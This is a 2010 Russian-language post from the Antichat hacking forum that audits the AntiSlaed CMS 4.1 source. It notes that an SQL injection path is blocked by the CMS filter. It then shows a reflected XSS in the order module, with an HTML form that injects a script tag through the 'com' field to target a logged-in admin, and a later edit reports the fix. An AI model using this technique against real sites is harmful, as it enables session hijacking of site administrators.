Показать сообщение отдельно

  #362  
Старый 15.04.2010, 04:07
Strilo4ka
Reservists Of Antichat - Level 6
Регистрация: 05.04.2009
Сообщений: 231
Провел на форуме:
3363660

Репутация: 1148
По умолчанию

AntiSlaed CMS 4.1

index.php
PHP код:
...$name = (isset($_POST)) ? ((isset($_POST)) ? analyze($_POST) : "") : ((isset($_GET)) ? analyze($_GET) : "");... 
PHP код:
...$file = (isset($_POST['file'])) ? ((isset($_POST['file'])) ? analyze($_POST['file']) : "") : ((isset($_GET['file'])) ? analyze($_GET['file']) : "");
$file = ($file) ? $file "index";... 
PHP код:
...include("modules/".$name."/".$file.".php");... 
Теперь смотрим в модуль новости /modules/news/index.php.
PHP код:
function news(){...
$scat = (isset($_GET['cat'])) ? $_GET['cat'] : 0;...
...list(
$cat_title$cat_description) = $db->sql_fetchrow($db->sql_query("SELECT title, description FROM ".$prefix."_categories WHERE id='$scat'"));...

PHP код:
...switch($op) {
    default:
    
news();
    break;... 
в ../index.php
PHP код:
...$op = (isset($_POST)) ? ((isset($_POST)) ? analyze($_POST) : "") : ((isset($_GET)) ? analyze($_GET) : "");... 
Можно было бы провести SQL inj если бы не файл functions/security.php начиная с 341 line, ех!

Ищем .:XSS:.

Поиск закончился успехом.
/modules/order/index.php
Обращаем внимание на $_POST['com']
PHP код:
function order() {
    global 
$conf$confor$pagetitle$bodytext$stop;
    
$pagetitle "".$conf['defis']." "._ORDER."";
    
$bodytext $confor['text'];
    if (
is_user()) {
        
$userinfo getusrinfo();
        
$mail = (isset($_POST['mail'])) ? $_POST['mail'] : $userinfo['user_email'];
    } else {
        
$mail = (isset($_POST['mail'])) ? $_POST['mail'] : "";
    }
    
$field fields_save($_POST['field']);
    
head();
    
title(""._ORDER."");
    if (
$stopwarning($stop""""1);
    
open();
    echo 
bb_decode($bodytext"all");
    
close();
    if (
$confor['an']) {
        
open();
        echo 
"<h2>"._OR_1."</h2><form method=\"post\" action=\"index.php?name=".$conf['name']."\" OnSubmit=\"ButtonDisable(this)\">"
        
."<div class=\"left\">"._OR_2." <font class=\"option\">*</font></div><div class=\"center\"><input type=\"text\" name=\"mail\" value=\"".$mail."\" maxlength=\"255\" size=\"65\" class=\"".$conf['style']."\"></div>"
        
."".fields_in($field$conf['name']).""
        
."<div class=\"left\">"._OR_3."</div><div class=\"center\"><textarea name=\"com\" cols=\"65\" rows=\"5\" class=\"".$conf['style']."\">".$_POST['com']."</textarea></div>"
        
."".captcha_random().""
        
."<div class=\"button\"><input type=\"hidden\" name=\"op\" value=\"send\"><input type=\"submit\" value=\""._OR_4."\" class=\"fbutton\"></div></form>";
        
close();
    } else {
        
warning(""._OR_5.""""""2);
    }
    
foot();
}... 
Функция order() вызываеться по умолчанию
PHP код:
...switch($op) {
    default:
    
order();
    break;... 
Result:
- формиуем код;
- заставляем админа послать пост-запрос (ну понятно что он должен быть авторизирован!).

Простой пример експлуатации:
Код HTML:
<form action="http://anti/index.php?name=order">
 <p><b>Каким браузером в основном пользуетесь:</b><Br>
   <input type="radio" name="browser" value="ie"> Internet Explorer<Br>
   <input type="radio" name="browser" value="opera"> Opera<Br>
   <input type="radio" name="browser" value="firefox"> Firefox<Br>
  </p>
<input type="hidden" name="com" VALUE="</textarea><script>alert(123)</script>">
<input type=submit value="Молодца"!">
</form>
up
В самом последнем релизе пофиксено!
Значение переменной $com и других проганяэться через:
PHP код:
# HTML and word filter
function text_filter($message$type="") {
    global 
$conf;
    
$message is_array($message) ? fields_save($message) : $message;
    if (
intval($type) == 2) {
        
$message htmlspecialchars(trim($message), ENT_QUOTES);
    } else {
        
$message strip_tags(urldecode($message));
        
$message htmlspecialchars(trim($message), ENT_QUOTES);
    }
    if (
$conf['censor'] && intval($type != 1)) {
        
$censor_l explode(","$conf['censor_l']);
        foreach (
$censor_l as $val$message preg_replace("#$val#i"$conf['censor_r'], $message);
    }
    return 
$message;


Последний раз редактировалось Strilo4ka; 15.04.2010 в 05:58..
 
Ответить с цитированием